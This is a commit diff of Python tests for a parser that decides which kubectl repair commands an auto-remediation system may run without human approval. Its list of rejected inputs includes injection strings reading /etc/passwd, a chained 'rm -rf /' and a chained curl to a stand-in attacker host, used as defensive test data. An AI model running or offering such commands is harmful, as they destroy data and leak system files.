fix(auto): use action parser for repair gates
This commit is contained in:
@@ -18,6 +18,8 @@ from src.services.action_parser import (
|
||||
"kubectl rollout restart deployment awoooi-api -n awoooi-prod",
|
||||
"kubectl -n awoooi-prod rollout restart deploy/awoooi-api",
|
||||
"kubectl scale deployment awoooi-api --replicas=3 -n awoooi-prod",
|
||||
"kubectl autoscale deployment awoooi-api --cpu-percent=70 --min=2 --max=5 -n awoooi-prod",
|
||||
"kubectl set resources deployment/awoooi-api --limits=cpu=2000m,memory=1Gi -n awoooi-prod",
|
||||
"kubectl delete pod awoooi-api-7d6b776f78-4sgjl -n awoooi-prod",
|
||||
"kubectl get pods -n awoooi-prod",
|
||||
"kubectl describe node k3s-node-01",
|
||||
@@ -33,10 +35,14 @@ def test_safe_kubectl_actions_pass(cmd):
|
||||
"kubectl get pods -n prod $(echo injected)",
|
||||
"kubectl rollout restart deployment/$(cat /etc/passwd)",
|
||||
"kubectl rollout restart deployment/awoooi-api; rm -rf / -n prod",
|
||||
"kubectl rollout undo deployment/awoooi-api -n prod",
|
||||
"kubectl get pods -n prod && curl http://attacker.invalid",
|
||||
"kubectl delete deployment awoooi-api -n awoooi-prod",
|
||||
"kubectl delete pods --all -n awoooi-prod",
|
||||
"kubectl delete pod awoooi-api-7d6b776f78-4sgjl --force -n awoooi-prod",
|
||||
"kubectl scale deployment awoooi-api --replicas=0 -n awoooi-prod",
|
||||
"kubectl autoscale deployment awoooi-api --min=5 --max=2 -n awoooi-prod",
|
||||
"kubectl set resources deployment/awoooi-api --limits=ephemeral-storage=10Gi -n awoooi-prod",
|
||||
"kubectl patch deployment awoooi-api -p spec -n awoooi-prod",
|
||||
"ssh 192.168.0.188 docker restart openclaw",
|
||||
])
|
||||
|
||||
@@ -62,18 +62,18 @@ class TestValidKubectlCommands:
|
||||
"""常見合法 kubectl 指令應通過"""
|
||||
assert validate_kubectl_command(cmd) is True
|
||||
|
||||
def test_kubectl_exec_with_psql(self):
|
||||
"""kubectl exec 查詢(含 SQL SELECT)→ 通過"""
|
||||
def test_kubectl_exec_with_psql_is_not_auto_executable(self):
|
||||
"""kubectl exec 可執行任意 shell,必須降級人工"""
|
||||
cmd = (
|
||||
"kubectl exec -n awoooi-prod deployment/postgresql -- "
|
||||
"psql -U postgres -c 'SELECT pg_terminate_backend(pid) FROM pg_stat_activity;'"
|
||||
)
|
||||
assert validate_kubectl_command(cmd) is True
|
||||
assert validate_kubectl_command(cmd) is False
|
||||
|
||||
def test_kubectl_get_with_jq(self):
|
||||
"""kubectl get + pipe → 通過"""
|
||||
def test_compound_kubectl_get_is_not_auto_executable(self):
|
||||
"""compound shell 指令必須降級人工"""
|
||||
cmd = "kubectl get pods -n monitoring && curl -s http://192.168.0.120:9093/api/v1/status"
|
||||
assert validate_kubectl_command(cmd) is True
|
||||
assert validate_kubectl_command(cmd) is False
|
||||
|
||||
|
||||
# =============================================================================
|
||||
|
||||
@@ -64,7 +64,7 @@ def _run_cs1_block(
|
||||
|
||||
回傳 (mock_executor_class, mock_execute_method)
|
||||
"""
|
||||
from src.services.auto_approve import _DESTRUCTIVE_PATTERNS
|
||||
from src.services.action_parser import is_safe_kubectl_action
|
||||
|
||||
mock_exec_instance = MagicMock()
|
||||
if exec_side_effect is not None:
|
||||
@@ -94,7 +94,7 @@ def _run_cs1_block(
|
||||
and analysis_result.confidence >= 0.85
|
||||
and risk_level != RiskLevel.CRITICAL
|
||||
and _sa_val not in _non_destructive_actions
|
||||
and not any(p in _cs1_kubectl.lower() for p in _DESTRUCTIVE_PATTERNS)
|
||||
and is_safe_kubectl_action(_cs1_kubectl)
|
||||
)
|
||||
if _cs1_can_auto:
|
||||
import asyncio
|
||||
@@ -155,6 +155,15 @@ class TestCS1AutoExecuteConditions:
|
||||
_, mock_exec = _run_cs1_block(analysis, RiskLevel.LOW)
|
||||
mock_exec.execute_approved_action.assert_not_called()
|
||||
|
||||
def test_single_delete_pod_executes(self):
|
||||
"""單一 Pod delete 是可恢復操作,parser 不應誤殺"""
|
||||
analysis = _make_analysis(
|
||||
confidence=0.90,
|
||||
kubectl_command="kubectl delete pod api-xxx-yyy -n prod",
|
||||
)
|
||||
_, mock_exec = _run_cs1_block(analysis, RiskLevel.LOW)
|
||||
mock_exec.execute_approved_action.assert_called_once()
|
||||
|
||||
def test_no_action_does_not_execute(self):
|
||||
"""suggested_action=NO_ACTION → 不執行"""
|
||||
analysis = _make_analysis(
|
||||
@@ -182,7 +191,7 @@ class TestCS1AutoExecuteFailureDegradation:
|
||||
analysis = _make_analysis(confidence=0.90)
|
||||
|
||||
# 直接測試條件邏輯,確保例外被吞掉
|
||||
from src.services.auto_approve import _DESTRUCTIVE_PATTERNS
|
||||
from src.services.action_parser import is_safe_kubectl_action
|
||||
|
||||
_non_destructive_actions = {"NO_ACTION", "INVESTIGATE", "OBSERVE"}
|
||||
_sa_val = analysis.suggested_action.value
|
||||
@@ -192,7 +201,7 @@ class TestCS1AutoExecuteFailureDegradation:
|
||||
and analysis.confidence >= 0.85
|
||||
and RiskLevel.LOW != RiskLevel.CRITICAL
|
||||
and _sa_val not in _non_destructive_actions
|
||||
and not any(p in _cs1_kubectl.lower() for p in _DESTRUCTIVE_PATTERNS)
|
||||
and is_safe_kubectl_action(_cs1_kubectl)
|
||||
)
|
||||
assert _cs1_can_auto, "前置條件必須為 True 才能測試降級"
|
||||
|
||||
|
||||
@@ -35,13 +35,14 @@ def _make_analysis(
|
||||
|
||||
def _can_auto(analysis, risk_level, patterns):
|
||||
from src.models.approval import RiskLevel
|
||||
from src.services.action_parser import is_safe_kubectl_action
|
||||
kubectl = (analysis.kubectl_command or "").strip()
|
||||
return (
|
||||
bool(kubectl)
|
||||
and analysis.confidence >= 0.85
|
||||
and risk_level != RiskLevel.CRITICAL
|
||||
and "NO_ACTION" not in (analysis.action_title or "")
|
||||
and not any(p in kubectl.lower() for p in patterns)
|
||||
and is_safe_kubectl_action(kubectl)
|
||||
)
|
||||
|
||||
|
||||
@@ -78,9 +79,14 @@ class TestCS3AutoExecute:
|
||||
a = _make_analysis(action_title="NO_ACTION: no fix needed")
|
||||
assert _can_auto(a, RiskLevel.MEDIUM, patterns) is False
|
||||
|
||||
def test_destructive_delete_blocked(self, patterns):
|
||||
def test_single_delete_pod_eligible(self, patterns):
|
||||
from src.models.approval import RiskLevel
|
||||
a = _make_analysis(kubectl="kubectl delete pod foo-123")
|
||||
assert _can_auto(a, RiskLevel.MEDIUM, patterns) is True
|
||||
|
||||
def test_delete_pods_all_blocked(self, patterns):
|
||||
from src.models.approval import RiskLevel
|
||||
a = _make_analysis(kubectl="kubectl delete pods --all -n prod")
|
||||
assert _can_auto(a, RiskLevel.MEDIUM, patterns) is False
|
||||
|
||||
def test_destructive_force_check(self, patterns):
|
||||
|
||||
@@ -53,16 +53,22 @@ class TestDestructivePatternsBlocked:
|
||||
def test_scale_to_zero_blocked(self, policy):
|
||||
d = policy.evaluate(self._proposal("kubectl scale deployment api --replicas=0"))
|
||||
assert not d.should_auto_approve
|
||||
assert "Destructive pattern" in d.reason_detail
|
||||
assert "parser rejected" in d.reason_detail
|
||||
|
||||
def test_delete_deployment_blocked(self, policy):
|
||||
d = policy.evaluate(self._proposal("kubectl delete deployment api-server"))
|
||||
assert not d.should_auto_approve
|
||||
assert "Destructive pattern" in d.reason_detail
|
||||
assert "parser rejected" in d.reason_detail
|
||||
|
||||
def test_delete_pod_blocked(self, policy):
|
||||
def test_delete_pod_allowed_by_parser(self, policy):
|
||||
d = policy.evaluate(self._proposal("kubectl delete pod api-server-abc123"))
|
||||
assert d.should_auto_approve
|
||||
assert "Destructive pattern" not in d.reason_detail
|
||||
|
||||
def test_delete_pod_force_blocked(self, policy):
|
||||
d = policy.evaluate(self._proposal("kubectl delete pod api-server-abc123 --force"))
|
||||
assert not d.should_auto_approve
|
||||
assert "parser rejected" in d.reason_detail
|
||||
|
||||
def test_delete_pods_plural_blocked(self, policy):
|
||||
d = policy.evaluate(self._proposal("kubectl delete pods --all -n awoooi-prod"))
|
||||
|
||||
@@ -19,6 +19,7 @@ CS2 規則引擎自動執行條件邏輯測試
|
||||
"""
|
||||
|
||||
from src.models.approval import RiskLevel
|
||||
from src.services.action_parser import is_safe_kubectl_action
|
||||
from src.services.auto_approve import _DESTRUCTIVE_PATTERNS
|
||||
|
||||
|
||||
@@ -31,11 +32,10 @@ def _evaluate_can_auto(
|
||||
複製 webhooks.py CS2 路徑的 _can_auto 邏輯,用於單元測試。
|
||||
任何修改 webhooks.py 邏輯的人,必須同步更新此函數。
|
||||
"""
|
||||
_destructive_set = set(p.lower() for p in _DESTRUCTIVE_PATTERNS)
|
||||
return (
|
||||
bool(rule_kubectl)
|
||||
and rule_risk != RiskLevel.CRITICAL
|
||||
and not any(p in rule_kubectl.lower() for p in _destructive_set)
|
||||
and is_safe_kubectl_action(rule_kubectl)
|
||||
and "NO_ACTION" not in rule_action
|
||||
)
|
||||
|
||||
@@ -90,12 +90,12 @@ class TestCS2CanAutoConditions:
|
||||
|
||||
# ── 防線 3:DESTRUCTIVE_PATTERNS ────────────────────────────────────
|
||||
|
||||
def test_delete_pod_returns_false(self):
|
||||
def test_single_delete_pod_returns_true(self):
|
||||
assert _evaluate_can_auto(
|
||||
rule_kubectl="kubectl delete pod api-xxx-yyy -n prod",
|
||||
rule_risk=RiskLevel.LOW,
|
||||
rule_action="刪除 Pod | kubectl delete pod api-xxx-yyy -n prod",
|
||||
) is False
|
||||
) is True
|
||||
|
||||
def test_delete_pods_returns_false(self):
|
||||
assert _evaluate_can_auto(
|
||||
@@ -104,6 +104,13 @@ class TestCS2CanAutoConditions:
|
||||
rule_action="刪除所有 Pod | kubectl delete pods --all -n prod",
|
||||
) is False
|
||||
|
||||
def test_delete_pod_force_returns_false(self):
|
||||
assert _evaluate_can_auto(
|
||||
rule_kubectl="kubectl delete pod api-xxx-yyy --force -n prod",
|
||||
rule_risk=RiskLevel.LOW,
|
||||
rule_action="強制刪除 Pod | kubectl delete pod api-xxx-yyy --force -n prod",
|
||||
) is False
|
||||
|
||||
def test_scale_to_zero_returns_false(self):
|
||||
assert _evaluate_can_auto(
|
||||
rule_kubectl="kubectl scale deployment/api --replicas=0 -n prod",
|
||||
|
||||
Reference in New Issue
Block a user